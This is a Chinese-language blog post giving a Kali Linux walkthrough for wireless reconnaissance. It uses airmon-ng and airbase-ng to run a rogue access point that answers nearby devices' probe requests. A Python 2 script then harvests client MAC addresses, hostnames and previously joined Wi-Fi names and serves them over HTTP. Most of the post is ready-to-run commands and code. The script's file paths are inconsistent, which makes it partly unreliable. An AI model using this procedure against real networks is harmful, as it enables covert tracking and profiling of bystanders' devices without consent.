Kali Linux滲透之獲取主機名、MAC

初見Kali,就覺得很不一般,於是摸索起來,終於有所領悟。

------Kali Linux無線滲透之主機名、MAC與wifi信息獲取------

開啟kali,打開終端,鍵入 ifconfig -a查看網卡信息。

鍵入命令: ifconfig wlan0 up #激活wlan0網卡

airmon-ng check kill #殺死影響進程

airmon-ng start wlan0 #將wlan0置為監聽模式

airbase-ng -P -C 30 -v wlan0mon | tee wifi1.txt| #軟體虛擬AP,偽造虛假響應包(Probe Response)來回應STA(Wireless station,手機、平板等客戶端等)的探測(Probe Request),並將結果保存在wifi1.txt文件中。

Advertisements

運行python腳本,生成兩個文件Host.json和Mac.json查看STA的的主機名和mac以及曾經連過的wifi

到此,本次任務完成。(喜歡文章 請點擊右上方「+關注」)

python腳本如下:

import SimpleHTTPServer

import SocketServer

import threading

import os

import json

from time import sleep

class back(threading.Thread):

def __init__(self):

threading.Thread.__init__(self)

def cmd(self,c):

c=os.popen(c).read()

Advertisements

return c

def run(self):

while True:

cmd_=self.cmd("cat /var/wifi1.txt |grep -|awk -F 'from ' '{print$2}'|sort |uniq ").replace('"','').split('\n')

nohup=''

self.cmd("echo > /wifi1.txt ")

x=0

for i in cmd_:

j=' "%d":"%s",' %(x,i)

nohup+= j

x+=1

nohup='{%s}'%nohup[:len(nohup)-1]

cmd_h=self.cmd("cat /var/lib/dhcp/dhcpd.leases|grep host|awk '{print$2}' ").replace('"','').split('\n')

x=0

dhcp=''

for i in cmd_h:

j=' "%d":"%s",' %(x,i)

dhcp+= j

x+=1

dhcp='{%s}'%dhcp[:len(dhcp)-1]

open('Host.json','w').write(dhcp)

open('Mac.json','w').write(nohup)

print dhcp,nohup

print "reading .."

sleep(30)

back().start()

PORT = 8009

Handler = SimpleHTTPServer.SimpleHTTPRequestHandler

httpd = SocketServer.TCPServer(("", PORT), Handler)

print "serving at port", PORT

httpd.serve_forever()

所學所得,步步維艱,分享知識,尊重原創,轉載請註明出處。------Root_Yang

Advertisements

你可能會喜歡